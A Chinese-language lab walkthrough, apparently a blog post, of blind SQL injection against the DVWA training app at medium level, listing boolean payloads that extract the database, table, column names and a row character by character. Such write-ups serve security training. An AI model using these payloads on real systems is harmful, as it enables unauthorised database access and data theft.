DVWA-SQL盲注 medium

提交id=1之后回显exists存在

 提交id=’之后回显missing 不存在，进一步判断是否是数字型SQL注入

 数字型 exists

字符型missing，确定为数字型SQL注入，进行猜解数据库版本、昵称。

1 and ascii(substr(database(),1,1))>88  # exists 
1 and ascii(substr(database(),1,1))>105 # MISSING
1 and ascii(substr(database(),1,1))>96  # exists
1 and ascii(substr(database(),1,1))>100 # MISSING
1 and ascii(substr(database(),1,1))>98  # exists
1 and ascii(substr(database(),1,1))=99  # MISSING
1 and ascii(substr(database(),1,1))=100 # exists
1 and ascii(substr(database(),2,1))=118 # exists
1 and ascii(substr(database(),3,1))=119 # exists
1 and ascii(substr(database(),2,1))=96  # exists

判断出当前数据库为dvwa，接下来判断该数据库中表的个数

使用select count()函数

1 and (select count(table_name) from information_schema.tables where table_schema=database())<5 #

 表个数小于5，存在

表个数=2，存在，接着查询表1的长度，我们需要的是guestbook表

 1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

 

等于9存在，也就是证明表一是guestbook表了。

 

g:

1 and ascii(substr((select table_name from information_schema.tables

where table_schema=database() limit 0,1),1))=103 #

u:

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2))=117 #

e:

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3))=101 #

s:

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4))=115 #

t:

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5))=116 #

b:

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6))=98 #

o:

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),7))=111 #

o:

1 and ascii(substr((select table_name from information_schema.tables

where table_schema=database() limit 0,1),8))=111 #

k:

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),9))=107 #

猜出表昵称是guestbook之后就可以猜字段个数了。

 1 and (select count(column_name) from information_schema.columns where table_name=0x6775657374626f6f6b)=2 #   

存在（字段之前被我改成两个了，注此处应进行十六进制编码）

id=1 and length((select column_name from information_schema.columns where table_schema=database() and table_name=0x6775657374626f6f6b  limit 0,1))=7 # 判断第一个字段的长度为7，接下来查询字段的昵称

 

c:

id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6775657374626f6f6b  limit 0,1),1))=99 #

o:

id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6775657374626f6f6b  limit 0,1),2))=111 #

m:

id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6775657374626f6f6b  limit 0,1),3))=109 #&Submit=Submit

m:

id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6775657374626f6f6b  limit 0,1),4))=109 #&Submit=Submit

e:

id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6775657374626f6f6b  limit 0,1),5))=101 #&Submit=Submit

n:

id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6775657374626f6f6b  limit 0,1),6))=110 #&Submit=Submit

t:

id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6775657374626f6f6b  limit 0,1),7))=116 #&Submit=Submit

查出来字段为comment 接下来查字段中的数据个数

id=1 and (select count(comment) from guestbook)=1 #&Submit=Submit

查找数据：

T: 

id=1 and ascii(substr((select comment from guestbook limit 0,1),1,1))=84 #&Submit=Submit

 

数据为This is a test comment.

例：如果需要查询该字段中第二个数据就需要将标红处改为+1

id=1 and ascii(substr((select comment from guestbook limit 0,1),1,1))=84 #&Submit=Submit